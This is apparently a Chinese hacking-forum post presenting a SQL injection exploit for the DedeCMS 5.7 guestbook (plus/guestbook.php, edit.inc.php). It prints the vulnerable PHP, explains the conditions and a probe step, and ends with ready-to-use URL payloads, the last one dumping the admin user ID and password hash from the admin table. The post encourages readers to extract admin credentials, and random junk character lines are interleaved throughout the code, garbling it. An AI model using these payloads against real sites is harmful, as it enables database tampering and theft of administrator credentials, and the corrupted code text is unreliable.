dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
# p9 R" j( U0 o5 l* C/ s
漏洞文件edit.inc.php具体代码：
. Y5 k# k* m; n* D  z7 ]. G
< ?php  

! `+ F1 }( Y2 _1 Pif(!defined('DEDEINC')) exit('Request Error!');  

   
6 r, i% ^) i& r# A% O
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
0 G2 B- @7 Q  ~9 `6 K9 o  `1 K1 ^
, Y' R9 a- W$ |% ]- P8 k' K6 @else $GUEST_BOOK_POS = "guestbook.php";  

" Q' z6 ~: m& j/ _# u0 g5 w   

4 |8 o- D! C& S5 v$id = intval($id);  
8 s  d; v) |& X* `7 M. N4 t
" |2 \" Y! q2 kif(empty($job)) $job='view';  

( ~' ?' I9 Q* V   
$ T5 }5 J2 I- i- ]2 _
& W" Z' @* k, e5 |3 b# [# T- _if($job=='del' && $g_isadmin)  

' w: O' s3 Q. B& C$ H# U{  

$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
* k5 c9 Z1 p0 r
ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  
' M2 h: d7 ?8 s2 v+ R
2 `* T) y# N. I+ Xexit();  
3 h  I$ s. ~# V" H% z% M
7 d* b8 R! z% Y0 b}  
! i" C0 F& }  g% p- H+ |) e; C
else if($job=='check' && $g_isadmin)  
# w+ P2 d7 c1 N5 b
{  

7 j3 g" h0 X# u$ L1 ~  i! z+ X$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  
1 T; u8 `- N9 P4 a0 `
exit();  
% X2 J" p  q8 ]
}  

else if($job=='editok')  

+ ~. w$ o. A; A2 m# l{  

& d' ?. Z2 u( @7 K$remsg = trim($remsg);  
: g4 m8 x# k' T- _1 D3 A$ @
6 j: R6 P* h+ Y; rif($remsg!='')  
4 K" H. ~2 `7 C# z5 ^) I) \
) Q" ^# X" ~' T0 N5 P{  

//管理员回复不过滤HTML By:Errorera blog:errs.cc  

% D5 O% Z3 {' b" z% i" xif($g_isadmin)  

{  

$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

4 v, p& N- \% f- \1 p//$remsg <br /><font color=red>管理员回复：</font> }  
* i- V$ @& s8 ^! \; Z# A1 W
else
3 g( g4 x) j% N
) j9 w4 m7 W7 ?0 s7 X6 O{  
5 E$ K: A. i0 M. c* m- b2 A- Y; Y
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
3 w4 `  i: h' U" q
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
6 i; @/ {: K* `
: ?1 S/ m# E. }* }' d$msg = $oldmsg.$remsg;  
3 W5 K9 F$ c8 ]: C  V5 q
! ?# T, K. O7 W# R4 V3 I}  

# h3 P+ x& S$ P6 Q2 c! e}  
0 C6 c- b9 Y1 v2 \
//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  

: Y% p3 {, Z* S$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  
% H6 X2 m4 a. i6 Y2 O$ `1 g) p( Y
0 s0 o- h) M( Q, c! eexit();  

7 O( e! V! B" R3 ~2 k3 ^. F* p& B. a}  

//home:www.errs.cc  

) W2 `0 d7 Z; [0 `1 O0 |if($g_isadmin)  
) s( i) A& P2 t# i+ |: A6 j* x
{  

$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
& q! t7 k! |$ A' r4 I6 ~, V
8 V0 f% A, A0 w! [: Q$ `require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

}  
# ^6 G' Y: d. I# `& D4 O% q, h& O
4 W' @! [* C; w2 F1 \5 E6 z) Belse

) \4 ~8 Y8 o0 Q3 `{  
& K% o; v7 @# N$ v4 Y/ ~  r
3 Y4 `- f: [/ Z  Q, Q. W" l( N$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
5 L/ r0 v& V+ N3 A. t: \
2 _% M1 ?) f6 n% ?5 [0 f0 i$ Srequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
2 ^6 d9 h! A; u: N( G$ d% \0 M) @
9 I5 k! h8 }7 ~} 漏洞成功需要条件：
3 Q- x% F$ O' R- m/ H$ L4 ^1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
9 R+ C. l4 J. J3 S- Y
怎么判断是否存在漏洞：
: h( _4 p* n/ C6 Q# B/ H& d先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
9 e, ^) W8 w* L, t0 ?# V然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
9 M) E, O0 V* Q& t9 f/ r访问：

www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证

- t$ j; W# h3 L/ H2 ?) }, E" U
6 w. i: A6 Q, M4 ^* c) n明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
, L* j1 B! K: B+ W  W& E* i$ E# e如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
! p: }0 ?6 W( y7 _- y. t那么再次访问

www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().

大概利用就是这样，大家有兴趣的多研究下！！

最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
5 ?7 D  S$ [: @6 n
$ D% J- r: `/ J4 w5 m" \6 jview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='